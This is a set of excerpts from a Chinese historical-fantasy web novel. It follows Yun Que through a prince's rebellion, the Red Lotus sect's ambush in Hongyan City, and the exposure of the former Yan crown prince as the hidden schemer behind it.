后来弄了两件最大号的衣服,拆开后又缝在一起,这才勉强合身。 看着萍山君趾高气昂的模样,云缺提醒道: “你最好把斩妖司的腰牌挂在最显眼的位置,我看挂脖子上挺好。” “狗脖子上才挂牌子呢!”萍山君不同意。 “这里是司天监,别怪我没提醒你,就你这模样在司天监进进出出容易被同僚误伤。”云缺道。 萍山君听完立马将腰牌挂在脖子上,担心不够,道:“还有没有,我多挂几块!” “一块就够了,司天监里又没有瞎子。”云缺道。 萍山君放心下来,随后瞄了眼旁边的瞎子,表情古怪的咽了下口水。 “山君放心!我肯定不会误伤!司天监里一只蚂蚁我都不会踩的!”瞎子急忙解释。 萍山君怕被友军误伤,瞎子也怕啊! 别人的同僚至多给自己穿小鞋,虎妖同僚容易把自己当午饭。 “鸿雁城那边的情况如何,还有没有妖物出没。”云缺问了句。 “有本王坐镇,什么小妖敢来作祟!”萍山君傲气起来,道:“妖是没了,不过这几天有些奇怪的家伙出没,鬼鬼祟祟的,穿着红袍子。” “红袍子……”云缺目光一沉。 红莲教的血袍军! “那些红袍子有多少人。”云缺追问。 “我整天趴在城门口晒太阳,吃饱了睡,睡饱了吃,没注意。”萍山君挠着硕大的虎头道。 得到消息后,云缺离开斩妖司,去找牧青瑶。 见面后,两人商议了一下。 “炎狼军牵扯了大晋的注意力,红莲教果然没错过这次机会,已经在鸿雁城出没,不知集结了多少人马。”云缺道。 “邵武国五十万大军,朱邪部两万炎狼军,若在加上红莲教的血袍军,天祈城容易三面受敌,到时候一旦兵临城下,便大势已去,必须尽快行动才行。”牧青瑶蹙眉道。 “李玄驹回没回来。”云缺问道。 “还没有,应该快了,三师兄天亮之前肯定能归来。”牧青瑶道。 “天亮就动手!先灭了炎狼军,喝了一晚上毒水,炎狼军的战力肯定大打折扣,机不可失。”云缺道。 牧青瑶点头赞同。 定下计划后,云缺回了趟学宫,找到梅钱。 “混功劳的机会到了,明天司天监去剿灭炎狼军,你也去。”云缺道。 “不去,一听就是危险的差事。”梅钱直接拒绝。 “我是少监,你是属官,你敢不听上司的命令,我扣你俸禄!”云缺道。 “随便扣。”梅钱不以为意的道。 “你怎么大方了,钱不是你的命么?”云缺道。 “一个月几百两而已,我的命,没那么不值钱。”梅钱道。 “不去算了,我把毒牙刀沉进八山城的水源地,明天那群炎狼军就算不被毒死也好不了,现成的功劳,爱要不要。”云缺道。 “你真把毒牙刀扔水源里了?”梅钱道。 “废话,要不然我能去冒险么,那群炎狼军是朱邪部的精锐部队,全是血蛮,还骑着炎狼。”云缺道。 “卑职明日随大人同行,刀山火海,一往无前。”梅钱道。 “有危险就溜边,有好处就贴上去,你可真不要脸。”云缺骂了句,道:“符合我们斩妖司的风格。” 清晨时分,天还没亮,皇帝召集群臣。 金銮殿上灯火通明。 这两天殷子受冷静了下来,他觉得闭门不出不是个办法,一旦大晋其他地方都被人占领,独守皇城还有什么意义。 只占据一座城,那不叫皇帝,充其量被称为城主。 加上昨晚首辅与白厌苦口婆心相劝,尤其周史伯,讲了半宿的局势,殷子受终于下定决心主动出击。 为了彰显皇帝的威严,群臣一到,殷子受宣布派遣金吾卫配合司天监,尽快剿灭炎狼军。 白厌听闻后,长出一口气。 把他关在皇城里,实在没有用武之地,堂堂金吾卫指挥使,总不能一辈子只守着皇帝一个人。 有了金吾卫联手,云缺与牧青瑶这边显然把握更足。 群臣纷纷恭维,说了一堆奉承之言,大意上都是夸皇帝高瞻远瞩,听得殷子受很是得意。 这时一道不同的声音传来,给众人破了一盆冷水。 上官鸿途出列,道: “陛下,刑部刚刚收到消息,鸿雁城内出现血袍军,应该是红莲教的人马。” 殷子受闻言神色一变,怒道: “红莲教这群狗贼!他们有多少人?” “大致在几千人上下,具体消息还没传回来。”上官鸿途如实道。 他也是刚刚进宫之前才收到的消息,来自刑部在鸿雁城的分部。 花不谢出列道: “陛下,司天监前阵子剿灭了上千名血袍军,这些人是红莲教的精锐部队,战力不低,如若汇聚成军,绝对不容小觑。” 殷子受的神色立刻阴沉下来。 司天监的消息,皇帝自然相信。 连司天监都认为血袍军战力过人,可见对方来者不善。 两万炎狼军还没处理掉,红莲教又冒了出来,殷子受懊恼不已。 周史伯神色凝重的道: “必须在血袍军尚未完全汇聚之前,将其彻底铲除!邵武国的大军迟迟未动,摆明了想要看一场鹬蚌相争,他们好来一招渔翁得利,唯有尽快解决炎狼军与红莲教,才能让邵武国有所忌惮,等到邵武国、红莲教、炎狼军三路合围,大晋必亡!” 周史伯现在顾不得什么措辞了,直接说出最终结果,如果皇帝还要优柔寡断,大家都等着灭国好了。 殷子受的神色不断变幻,良久后,问道: “邵武国那边有什么动静,给了他们那么多郡主,难道他们还不肯撤兵吗!” 一名负责探听情报的将军拱手回话: “启禀陛下,郡主们已经全部送过去了,但邵武国的大军始终没动,既没返回天门关,也没继续开拔,就在原地安营扎寨。” “狼子野心!狼子野心!!”殷子受气得大骂。 几十个郡主,白送了。 毛用没有! 殷子受现在算看明白了,死掉的璇玉郡主就是个借口罢了,邵武国惦记的始终是晋国这块肥肉,是天祈皇城! 其实这一点首辅与群臣早就知道,连皇帝也心知肚明,只是殷子受始终抱着一丝侥幸,认为邵武国能退回去。 现在希望破灭,殷子受不得不接受残酷的现实。 其实无论前朝大燕还是如今的大晋,邵武国从未放弃过对邻国的觊觎。 大晋的国土是一个吸引力。 大晋南方土地肥沃,良田无数,而且矿藏丰富,尤其硝石矿,在云州之上绝对能排在前列。 第二个吸引力,便是天祈城。 天祈城本身其实没什么吸引力,皇城而已,皇帝可以在任何地方建立都城。 但天祈城不一样,因为有天祈学宫! 天祈学宫是天下学问的源头,天祈城则成了学问之城,不仅世间修行者与百姓们敬仰,邵武国的皇帝更看着眼红。 拿下天祈城,相当于借用了学宫之名,这种诱惑力,天下间的帝王很难抵抗。 殷子受冷声道: “首辅有何高见。” 周史伯沉声道:“双管齐下,两路出兵!” 殷子受点了点头,道: “金吾卫配合司天监前往八山城剿灭炎狼军,哪位将军愿征讨鸿雁城的血袍军。” 皇帝下定了决心,决不能坐以待毙。 禁军十二卫,六路大军,六位指挥使,除了前两日贸然出击战死的一路,现在殷子受手里还有五路禁军可用,让金吾卫去对付炎狼军,剩下的四十万禁军,怎么也能覆灭红莲教的血袍军了。 不等一众将军请命,誉王殷天涯当先出列。 “陛下!臣弟愿率领一路禁军征讨鸿雁城,不消灭那血袍军,臣弟提头来见!” 誉王今天十分反常,竟当众立下了军令状。 誉王绝非好战之人,有事肯定先躲,今天的举动让群臣大为意外。 殷子受倒是很满意,认为自家弟弟知道唇亡齿寒的道理,懂得替自己这个哥哥分忧解难,当场答应下来,并让殷天涯选一路禁军,给他十万人马去征讨血袍军。 殷天涯领旨后,直接选了领军卫。 群臣并无意外,都知道誉王与领军卫的指挥使褚犀关系最近,选个熟人自然好搭档。 分派完之后,两路大军同时行动。 离开皇宫后,云缺得知李玄驹回来了。 望着天边泛起的晨曦,云缺冷冷一笑。 八山城的两万炎狼军,让他们有来无回! 第218章 誉王必须死 殷子受十分意外。 别人得了封地,必定挖尽心思求一个土地肥沃的好地方,结果云缺只要山头儿。 好地可以种田,可以迁居,经营几十年可以发展出一个家族来。 山上可没有值钱的东西,谁闲的没事住山上。 “可以,你想要什么山,封给你就是了。”殷子受大方的道。 山头儿这东西,殷子受最不在乎,大晋很多山头都有匪徒占山为王,封给云缺最好,省封地了。 “谢主隆恩!微臣要双角山。”云缺道。 殷子受略一回想,记起了双角山就在八山城附近,毫不犹豫的同意下来。 至此,云缺成了子爵,封地在双角山。 得了圣旨后,云缺心里乐开了花。 百亩良田才几个钱,比得上金银两座大矿么! 这下别说冲击六品的资源,连冲进五品的钱都够了。 皇帝也挺高兴。 炎狼军几乎没了威胁,西边只有贫穷的知远县,随便蛮人劫掠,殷子受一点都不带心疼的。 只要誉王能将鸿雁城的血袍军消灭,局面就会彻底明朗,只剩下邵武国这一个麻烦。 殷子受觉得多日来的气闷,终于好转,一时间精神抖擞,打算大展宏图,与群臣商议一番如何稳住大晋的局势。 没等殷子受开口说话,皇宫外急匆匆赶来一名校尉。 此人隶属禁军监门卫,负责守护城门。 到了大殿,校尉跪倒在地,声音颤抖的禀告。 “启禀陛下!鸿雁城出、出大事了!” 殷子受神色一变,寒声道:“到底怎么了!莫非誉王遇到危险?” “誉王没、没危险,是、是……”校尉脸色苍白,哆哆嗦嗦说不出话来。 “快说!到底鸿雁城出了什么事!”殷子受怒喝道。 校尉以头触地,无比畏惧的道: “誉王、誉王龙袍加身,在鸿雁城登基称帝!” 一句话说完,殷子受只觉得眼前一黑,犹如五雷轰顶! 誉王殷天涯是他的亲弟弟,殷子受做梦也没想到,自家弟弟会挖他这个哥哥的墙角。 关键是誉王带走了领军卫十万禁军! 禁军十二卫,六十万大军,殷子受疏忽大意之下已经损失十万,手里还有五十万禁军可用,这下可好,又被自己的弟弟给偷走十万。 其实十万禁军,殷子受不是最在意的,他更在意自己的皇位。 无论是亲弟弟还是亲爹,谁敢威胁到皇位,谁就是他殷子受的死敌! 哗啦一声! 殷子受暴怒之下掀翻了龙案。 满朝文武鸦雀无声,全低着头,没人敢吭声。 连老太监无舌,此时也站在一旁一动不动。 皇帝的家事,谁敢多嘴。 “混蛋!殷天涯这个叛徒!” 殷子受大骂道:“来人!所有禁军开拔鸿雁城,我要殷天涯的人头!誉王必须死,他必须死!!!” 皇帝暴跳如雷。 群臣噤若寒蝉。 云缺站在人群后看热闹,嘴角挂着淡淡的笑意。 早看得出殷子受有这么一天,众叛亲离,大晋离着亡国看来不远了。 大晋存在与否,云缺根本不在乎,他现在想的是赶紧开矿,把好处弄到手比什么都强。 周史伯知道再不吭声不行了,上前一步,道: “陛下息怒,此事需要从长计议,誉王突然造反,其中牵扯之深,不得不防啊。” 殷子受好不容易冷静下来,眼睛里全是血丝,冷喝道: “殷天涯那狗贼肯定始终惦记着皇位,难怪他要带着领军卫,他与褚犀串通一气!” 周史伯道: “褚犀身为领军卫指挥使,平日里与誉王走动频繁,攀附誉王有情可原,但陛下别忘了,红莲教的血袍军就在鸿雁城出没,誉王敢在鸿雁城称帝,说明他与红莲教沆瀣一气,十万领军卫加上血袍军,这股力量不容小觑啊。” 殷子受想起了红莲教,脚下踉跄了一下,跌坐在龙椅上。33qxs.m 皇帝终于看清了。 红莲教才是殷天涯的底牌! “狼子野心!朕这些年居然在身旁养了条狼!”殷子受懊悔不已。 周史伯道: “陛下,红莲教之所以拥有大量军械,现在已经水落石出,定是誉王串通琴寿所为。” 首辅说完,皇帝与群臣终于恍然大悟。 难怪红莲教手里有大批军械,原来始作俑者是誉王。 殷天涯与琴寿的关系极好,在场的谁都知道,誉王今天造反,肯定图谋多年,那么丢失的军械肯定是琴寿动的手脚。 皇帝的脸变得铁青,咬牙切齿道: “来人!把锻纸侯府与誉王府给朕抄了!不要活口,全杀!鸡犬不留!” 皇帝一声令下,禁军开始抄家。 琴寿虽然死了,家眷还在,府上光妻妾就有二十多个,一大家子人,一个没剩,全部人头落地。 誉王府的人更多,但誉王的妻妾与儿女早已经偷偷出城,离开了天祈。 正主儿逃了,剩下家丁仆役倒了霉,一刀一个,全被斩首。 杀掉两家泄愤后,殷子受急于弄死誉王,分派出两路禁军,二十万人马,准备征讨鸿雁城。 血蛮占据八山城,其实皇帝并不急,因为打不进天祈就威胁不到皇位。 但誉王不同。 誉王可是王爷的身份,同样是殷氏皇族,容易召集到兵马,这一点是殷子受无法忍受的。 真要让誉王做大,大晋两个皇帝,谁才是正牌? 一旦誉王得了民心,再得了军心,到时候就算天祈城坚如磐石,殷子受的皇位也会轰然坍塌。 还有更关键的一点。 自从炎狼军奇袭而来,殷子受就下旨调集大晋各处城池的守军回援皇城。 阜南王不回来,殷子受总不能坐以待毙。 大晋各城都有守军,全加起来不比十二卫禁军少。 但这些守军远近不一,想要汇聚起来需要很长时间,如果赶回来的守军被誉王截下,收为己用,殷子受相当于给誉王做了嫁衣。 除了二十万禁军之外,殷子受下令司天监与刑部出征,不惜一切代价铲除誉王这个大患。 圣旨一下,司天监只能听命行事,各司集结,准备随军出征鸿雁城。 二十万大军,调动起来很费时间。 这次殷子受多了个心眼儿,没派白厌,将金吾卫留在身边。 殷子受怕出意外。 如果全都出去,皇城空虚,被邵武国钻了空子就完了。 离开皇宫后,牧青瑶众人暂时返回司天监,稍作休整。 一路上李玄驹骂骂咧咧,其他人的脸色都不太好看。 多事之秋,司天监不得安宁。 云缺走到一半,借口有事转路去了趟庸医馆。 誉王突然反叛,登基称帝,这件事云缺预感到不同寻常。 第220章 阴险到极致的计谋 鸿雁城中心区域,混乱成一片,嘶吼声叫骂声不绝于耳。 两伙人马僵持不下。 一方是褚犀带来的领军卫,另一方是身穿红袍的血袍军。 先是推搡谩骂,很快演变成拳脚相加,直至一名禁军被捅了一刀,局面彻底失控。 任凭褚犀如何喝止,乱象也毫无缓解。 殷天涯很累。 不仅身体疲惫不堪,脑子也要转不动了。 原本他抵达鸿雁城之后,听从了鬼面人的建议,立刻龙袍加身,就此称帝,还给自己起了个封号,叫誉皇。 誉王改为誉皇,殷天涯觉得很合适,尤其誉字与玉同音,誉皇,听起来很像玉皇。 玉皇大帝,多气派。 褚犀事先是知情的,殷天涯许诺封给他一个王爷的位置。 褚犀是个势利之人,野心极大,指挥使的位置他根本看不上,又爬不到王侯之位,这些年对晋皇殷子受很是不满,如今有了这种机会,他哪能错过,立刻选择了跟随殷天涯。 十万领军卫带出来了,但出兵的名义是剿灭红莲教余孽。 等到了鸿雁城,红莲教没看到呢,誉王先登基称帝了,来了个先斩后奏。 禁军又不是傻子,自然有人不满誉王的举动,他们这些禁军是来剿匪的,不是来造反的,于是很多人提出质问与反对。 誉王造反登基,把家眷都带了出来,这些禁军的家眷可全在皇城呢,谁愿意陪着誉王造反。 更有些精明的已经看出局面不对劲,提前跑路。 誉王登基了半天时间,十万禁军先跑了一半,另一半碍于指挥使褚犀的威严,没敢逃,但一直在讨要说法,连褚犀都要压不住了。 这时候血袍军出现,誉王以为来了救兵,只要他抓住血袍军这份筹码,剩下的禁军就不敢妄动,只能听从他的命令。 殷天涯想得挺好,但血袍军来了之后直接索要兵权,并且将剩余的五万禁军分为十队,每队五千人,由血袍军负责调派。 这下禁军炸了锅。 禁军在皇城里何其骄傲,连刑部的人都得对禁军客客气气,结果到了鸿雁城被一群反贼掌控,谁能服气。 双方发生冲突,从叫骂逐渐变成了推搡甚至大打出手。 局面彻底失控! 殷天涯的脑瓜子都要炸了。 禁军这边不听他的,红莲教那边更不听他的,他现在是猪八戒照镜子,里外不是人。 穿着龙袍,却没人理睬。 旁边的王妃在寒风中哆哆嗦嗦的埋怨道: “王爷这是何苦呢,我们一家在天祈城里享福多好,何必来遭这种罪,皇帝的大军一旦赶来,我们全家都得没命啊!” 殷天涯正在恼羞成怒,一听这话立刻甩出一个大嘴巴,骂道: “给我闭嘴!妇人之见!你懂个屁!” 殷滔急忙搀扶起母亲,苦着脸道: “父王,咱们的处境不妙啊,皇帝肯定得知了消息,不会放过我们的。” 殷天涯脸色铁青,他也害怕了。 可除了打女人之外,殷天涯什么办法也没有。 见局势越发混乱,殷天涯急忙跑到褚犀旁边,低声道: “不如我们先逃吧!这里离着皇城实在太近,咱们找个安稳的地方,东山再起!” 褚犀一听眼珠子瞪了起来,道: “东山再起?你有什么信心东山再起!你承诺的血袍军,难道是放屁不成!” 殷天涯吓得一哆嗦,他从褚犀的眼里看出了杀意。 如果他这个皇帝想逃,褚犀肯定第一个宰了他,用他的人头去找殷子受请罪,就说被他蛊惑。 第221章 下黑手的专业人士 鸿雁城,一座希望之城,眺望着天祈。 如今,这座希望之城变成了绝望之城,满城悲鸣。 到处是尸体。 炮声阵阵,喊杀声不绝于耳。 仅存的百姓躲在家里慑慑发抖。 一些倒霉的人家,原本躲得好好的,结果被一炮轰中,一家人整整齐齐的上了西天。 血袍军不仅有无数重弩,还有数十门火炮,藏于城内各处。 火炮的数量不多,毕竟如此重器,红莲教很难弄到手,这是多年来积攒出的所有家当。 这数十门火炮,成了禁军的催命符。 巷战,以刀剑为主。 鸿雁城还有许多百姓,禁军这边不可能带着火炮攻进来。 可红莲教不在乎。 血袍军根本不在意误伤百姓,找到机会就会开炮,专门往禁军人多的地方轰。 一炮下去,至少近百人死伤。 十万禁军确实数量庞大,但也经不住如此消耗。 禁军的人数在快速减少。 除了血袍军的伏击,禁军还要面对反叛的领军卫,对方逃了不少,但还有三万多人马不知所措。 领军卫已经无法投降。 血袍军的火炮断送了他们的退路,杀红眼的禁军冲过来下了死手,领军卫的人只能拼命反击。 高肃一个人冲锋在最前面,一刀一个,把领军卫的人杀了个丢盔卸甲。 随后高肃发现自己的队伍两侧也被伏击,他怪叫着又冲向血袍军,一顿乱杀。 有一个鲁莽的指挥使带队,禁军这边打得毫无章法,最后分散到城内各处,胡乱厮杀。 长街上始终混乱。 云缺知道不能再等了,否则高肃带进来的这十万人,都得交代在鸿雁城。 血袍军显然在城里布置很久,将鸿雁城打造成一处陷阱,就是为了吞掉禁军的人手。 “擒贼擒王,先抓住殷天涯。” 云缺沉声道。 其实这场战斗,云缺本可以作壁上观,置身事外。 红莲教利用誉王消耗殷子受,战争的双方,云缺都很厌恶。 殷子受显然是个昏君,他死了最好。 红莲教更不用说,云缺早晚要将其灭杀个干净。 双方互相恶战,互相消耗,其实云缺乐见其成。 但那个鬼面人,是云缺必须要击杀的目标。 而誉王殷天涯,肯定见过鬼面人! 能否揪出鬼面人,殷天涯是个重要线索。 梅钱点头道: “誉王的脑袋分我一半,我也弄个子爵当当。” 两人动作一致,扔掉官服,换上屋子里的百姓衣装,离开藏身之地,混迹在街头的恶战当中。 这两位都是出了名油滑,在混战里游刃有余,装作逃难的百姓,朝着鸿雁城中心快速接近。 无论禁军这边还是血袍军,对于百姓,没人在意。 更没人专门为了杀两个百姓,特意分散精力。 云缺和梅钱专挑小路走,时而翻墙过院。 遇到院子里埋伏的血袍军,先愁眉苦脸的表面自己是鸿雁城百姓,胡乱逃过来的。 然后等对方失去警觉,两人再背后下刀子。 这一路,死于两人刀下的血袍军多达上百人。 论起下黑手,云缺和梅钱绝对是专业人士。 行进途中,云缺观察了一下禁军的作战。 结果大失所望。 行军还算整齐划一,到了鸿雁城遭遇惨烈的伏击之后,这些禁军成了没头儿的苍蝇,四处乱撞,对上血袍军只会大吼着冲杀,或者大叫着逃开。 甚至连误伤的情况都比比皆是。 有的禁军杀红了眼,一个没留神把同伴的脑袋给砍了下去。 云缺亲眼看到一名禁军宰了个同伴,随后才回过神儿来,抱着同伴的脑袋嚎啕大哭。 哭有什么用,还能重新长上去么。 翊卫的战力,实在稀松平常,其中武者也很少,大多是一些毫无经验的年轻人。 其实云缺是高估禁军的战力了。 这些禁军的构成,大部分是世家子弟与官宦子弟,再不就是天祈城里有钱人家的孩子,基本就是少爷兵。 禁军只管护卫皇城,平日里毫无危险可言,俸禄又高,谁不想去。 天祈城里但凡有点能力的人家,挖门盗洞也要将自家孩子送进禁军。 禁军十二卫,也就白厌手里的金吾卫战力还算说得过去,平日里白厌经常将金吾卫拉出去剿灭山匪,熟悉实战。 真正的强军,是需要战火洗礼的。 整天住在天祈城里享福,根本没打过仗的禁军,甚至都不知道战场的残酷。 一旦遭遇强敌,除了胡乱反击,就剩哭爹喊娘了。 大晋并不缺真正的强兵悍卒,但绝不会在天祈城里。 大晋的边军,战力是很强的。 以阜南王为例。 朱邪部十万炎狼军,号称能对战百万大军,却越不过黑铁城,只能动用诡计传送到八山城来奇袭。 如果朱邪部能踏平黑铁城,用得着耗费一位合萨的生命,来奇袭天祈么。 从草原横推过来岂不更好。 见识了禁军翊卫的战力后,云缺忽然明白了一个道理。 阜南王抗旨不回的消息,满朝文武已经有所耳闻,云缺之前以为阜南王是两手准备,一来不愿放弃黑铁城,二来对两万炎狼军的战力并不在乎,认为天祈城这边可以轻松解决。 现在云缺明白了过来。 阜南王哪里是不愿放弃黑铁城,而是阜南王早就看出了大晋国运将尽,不肯耗费一兵一马帮皇帝而已! 阜南王,在积攒着自己的力量! 之前云缺对牧青瑶说你爹想造反,其实是开玩笑而已。 现在云缺隐隐察觉到了阜南王的心思。 人家阜南王,恐怕真的想自立为王,彻底甩开殷子受这个累赘。 既然大晋千疮百孔,昏君无道,又何必保之? 云缺暗暗心惊。 如果自己猜对了,那么阜南王此人,绝对是个可怕的枭雄,远非殷子受那等庸才可比。 即将接近城中心,云缺散去心思,不再多想。 他今天的目标是鬼面人。 两人跳进一间大院。33qxs.m 只要穿过这家院子,就是鸿雁城中心宽阔的广场,到了这里,能听到震天的喊杀声在院外起伏。 能住在这种地段的,自然是大户人家。 刚进院子,看到几名护卫守在正屋的大门前,手持刀剑,谨慎戒备着。 豪门大户,有护卫不算意外。 云缺立刻装作慌乱道: “抱歉啊诸位,外面太乱了,我们进来躲躲。” 梅钱装得更加慌乱道:“以为没人呢,我们这就走,这就走!” 两人说着就要越过院子。 刚走到院落中间,大屋的门忽然开了,走出一名老者。 “外面是很乱,既然进来了那就别走了,看你们挺可怜的,躲在我这好了。” 说得挺好听,但老者的笑容却阴险得很,面带寒意。 看了老者一眼,云缺和梅钱都不走了。 因为不用走,也走不掉。 对方正是开城门的那个老头儿! 梅钱杀掉中年女人之后,云缺当时追着老头砍了对方一刀,结果对方消失了踪迹。 如今再见,各自的身份无需隐瞒。 大家心知肚明。 老者肯定是红莲教的高手! “也好,借你家躲躲,顺便……”云缺呵呵一笑,突然抽刀。 “送你们归西!”梅钱补充了云缺没说完的话,瞬间冲杀而出。 两人的进攻速度完全一致。 一左一右。 没对付老者,而是直奔大屋两侧的护卫。 护卫总共有八人,发现云缺与梅钱突然发难,这些人立刻反击。 红莲教的人,身手都不赖,这八人全有修为在身,均是八品武者。 但他们面对的,是两名不能以正常战力估算的七品武夫。 刚一交手,战斗已然结束。 八具尸体相继倒地。 云缺与梅钱分别站在老者两侧,封住了此人的退路。 “好身手!” 老者赞了一句,手里抓出一张灵符,往自己身上一拍。 如此举动,显然是想借助灵符逃走。 令狐豪当初的手段,云缺可没忘,加上之前在城门口附近的那一刀,这老者躲闪的手段显然不是武者。 武夫对付其他体系的修行者,近身就是王道。 云缺和梅钱没给对方任何时间,两人同时出刀,一个斩向老者的脖子,一个斩向老者的膝盖。 真正的对战,云缺和梅钱从不缺少经验,又何况是两人联手。 即便对方想要传送逃走,这么近的距离也做不到。 或许能逃, 但脑袋和两只脚,肯定得留下一样! 刀光耀起,瞬间临身。 随后炸起了金铁交鸣。 锵!!! 那老者摆出一个奇怪的动作,扎出马步,重心下移,左臂擎起,右臂下垂。 竟以双臂,挡住了双刀! 云缺只觉得刀身传来一股巨力,被反震得连退数步。 梅钱一样向后急退,手腕发麻。 再看那老者。 两个袖子被尽数震裂,现出健硕的臂膀,双臂上各自套着十个拇指粗细的铁环,犹如臂甲一般。 挡开双刀的,正是这些特殊祭炼过的铁环! “宗师!”云缺瞬间判断出对方的修为。 “七品辟谷!”梅钱道出了老者的另一层修为。 对面的强敌,居然是道武双修! 六品宗师,外加七品辟谷境! 老者哈哈一笑,一震双臂,散发出狂暴气息,道: “两个小小七品,也敢在班门弄斧,咱们看看今天到底谁上西天!” 老者说罢猛攻而出,双拳霍霍生风,其上的铁环势大力沉,增加了拳力不说,还能完全挡下刀剑的进攻。 尤其他贴在身上的灵符,有着增加本体力量的功效,几乎将拳力翻倍。 六品宗师,若力量翻倍,一拳即可轰杀一名七品武者! 云缺与梅钱互相看了眼,持刀而上,在这处宽敞的宅院内,与来自红莲教的强敌恶战在一处。 第224章 大燕无鹰 燕北归。 生灵的自然规律。 然而吴鹰口中的燕,不是飞燕,而是前朝大燕! 咔嚓!! 一道闪电耀起在远处。 电光的明灭间,令云缺的面孔明暗交替。 这道闪电,也炸起在云缺的心头。 这一刻,云缺彻底明悟,他曾经苦苦寻找的鬼面人,远在天边,近在眼前! “原来你才是鬼面人……你到底是谁。”云缺声音低沉的质问。 “我是你师兄,是你的大哥,是你的家人!” 吴鹰脸上的表情逐渐开怀起来,他另一半毁容的面孔仿佛变得更加狰狞,道:“我是吴鹰,但我不姓吴,我姓燕,我叫……燕无鹰!” 云缺面无表情的盯着吴鹰,道: “大燕无鹰……燕太子。” 吴鹰的真正身份,竟是前朝大燕的太子! 燕无鹰出生之际,皇宫上方飞过一头金雕,燕皇大喜,曾经道出一句名言。 金雕出世,大燕无鹰! 于是燕太子的名字,就叫做燕无鹰。 预示着太子乃是金雕,将来自可在燕国高枕无忧。 然而国破之后,大燕不仅无鹰,再也没有金雕出没。 燕国,早已被埋在了岁月长河。 如今,燕太子却再次出现! 卧薪尝胆十五年,燕无鹰在今天,终于能说出他真正的名号! 燕无鹰紧紧抓着云缺的胳膊,狂笑道: “斩妖司乃是我大燕之脊梁!父皇视斩妖司众人为兄弟姐妹!我以为斩妖司已经尽数战死在北域,没想到你还活着! 云缺!你是我的兄弟,我们就要回家了!夺回天祈城,只差最后一步!我大燕终将归来!等我登上皇位的那一刻,封你为并肩王!” 燕无鹰的这番话,令周围众人彻底惊呆。 上官鸿途,陈洲骅,花不谢,全部错愕不已。 云缺的脸上仍旧没有丝毫表情,静静的望着燕无鹰,道: “八山城的火炮哑火,是你动了手脚,难怪姜落君身为刑部尚书会听从红莲教的吩咐,难怪姜熵在指认凶手的时候,说出那句好像,姜熵认出了你的半张脸,他想说,你好像先皇。” “这半年多来,我始终想不通一件事,柳十一为何会成为红莲教的人,现在我懂了,是因为你这位燕太子。” 燕无鹰傲然道: “王朝更迭,免不得尸骨成山,姜落君,姜熵,柳十一,他们的死都有价值!是他们的死,引领着大燕王朝再次降临!” 云缺面无表情的道: “玉玺是你偷的,宫女是你杀的,负易之死也是你下的手,妖山血案,死掉的那些官宦子弟,都是被你所杀。” 燕无鹰笑道: “负易只是个弃子,他既然扛不住审讯,自然要早些处理掉,至于妖山血案死掉的那些学子,他们都该死!他的长辈全在当朝为官,他们忘了本,忘了自己的荣华富贵都是大燕给的!一群卖国求荣之辈罢了,死不足惜!” 云缺道: “璇玉郡主是你救走的,当时你借着出门剿灭红莲教余孽的机会,送璇玉郡主抵达天门关,在出关后将其杀害,挑起两国争端。” 燕无鹰得意道: “璇玉郡主这步棋,我等了好多年!邵武国觊觎大晋多年,始终摇摆不定,不肯下定决心出兵,我正好帮他们个忙,给他们出兵找个最佳借口!” 云缺道: “鸿雁城大劫,也是你在暗中布置,姜落君在灭口令狐豪的时候只出手一次,其他的事,都是你在谋划。” 燕无鹰意气风发,笑道: “谋事在人,成事在天!大晋气运已尽,略微谋划,即可让大晋轰然坍塌!这么做或许冷血了些,鸿雁城百姓死伤惨重,但比起复国大业,死些人又算得了什么!” 云缺道: “草原合萨也是你请来的,你与朱邪部已经联手。” 燕无鹰道: “没错!多年前我派人与朱邪部取得联系,送给他们一个覆灭大晋的良机,敌人的敌人,就是朋友,不过你放心,草原人狼子野心,我只是利用他们罢了,只要利用好地势,比如鸿雁城这种巷战,炎狼军一样有来无回!” 云缺道: “誉王,是被你蛊惑,带走一队禁军在鸿雁城称帝。” 燕无鹰大笑道: “哈哈哈!说起这个最好笑!殷天涯那个饭桶,居然还做梦想当皇帝,偏偏还真让他带出来十万禁军!他哪里有脑子啊,他都没想过那些禁军家眷在皇城,拉出去有几个人能跟着他卖命的,简直蠢猪一个哈哈!” 云缺道: “让穹音混进禁军,刺杀皇帝,也是你的计划。” “穹音这枚棋子,很关键,并非用来刺杀皇帝,而是试探无舌那老东西真正的身手,现在能确定,无舌是五品巅峰武夫,是殷子受身边战力最强之人,不过没什么,只要没到四品,不足为虑。” 燕无鹰笑道:“你还有什么不解之处,我都告诉你!咱们是兄弟,从今往后,我不会对你隐瞒半点东西!你可知在刑部看到刀鞘上的斩妖司令牌之后,我有多高兴!我燕无鹰不再是孤家寡人,我在斩妖司还有个兄弟!” 燕无鹰此时畅快无比。 燕皇对斩妖司的重视,不亚于将斩妖司当做了自家亲人,否则妖都之战,斩妖司的众人也不会随着燕皇尽数战死于北域。 燕太子,一样继承了燕皇的传统,视斩妖司为亲人。 怎奈斩妖司所有人都已经战死,只剩个叛逃的柳十一,被燕无鹰找到后收为麾下。 对于叛徒,燕无鹰始终存在着隔阂,他并不完全信任柳十一。 但云缺不同! 云缺是斩妖司的人,曾经参加了妖都之战,所以燕无鹰对云缺信任十足。 云缺面无表情的道: “太子好算计,打造出红莲教,不断消耗大晋国运,难道就不怕被红莲教反噬。” 燕无鹰神色一正,凝声道: “红莲教是我与教主联手创办,教徒众多,高手无数,血袍军战力不俗,比起禁军那些少爷兵强出百倍!以后我们兄弟一同掌管血袍军!恩威并施,谁敢不服!” 云缺道: “你给了红莲教主什么好处。” 燕无鹰笑道: “大燕复国之日,红莲教便是大燕之国教!” 云缺缓缓点头,道:“好一个国教,太子怕是要失望了,红莲教,永远也做不成国教。” 燕无鹰皱眉道:“待江山大定之日,我便是一国之君,谁是国教,我一句话而已。” “不是你一句话的问题。”云缺的目光渐渐冷冽,道:“因为红莲教,早晚会消失殆尽。” 说罢,云缺单臂一震,甩开了燕无鹰的手。 燕无鹰诧异了一下,道: “为何这么说?红莲教势头正盛,无人能挡!皇城里还剩三十万禁军,那些少爷兵岂能与血袍军相提并论!两万炎狼军都能将禁军杀得丢盔卸甲,我有十万血袍军,足以横扫皇城!” “与禁军无关,与我有关。”云缺指了指自己,冷声道:“我会将红莲教连根拔起。” 第225章 血莲之城 云缺的这一刀,没有任何刀法加持,单纯以力量斩出。 但这份力量,是云缺的全力! 融合着秀儿姐,乌灵儿,穹音三个已故之人的所有愤怒! 漆黑的妖刀,瞬间转为殷红,那血色让人觉得刺眼。 燕无鹰沉着脸,全力挥刀格挡。 两把刀撞击在一处,发出刺耳的脆响。彡彡訁凊 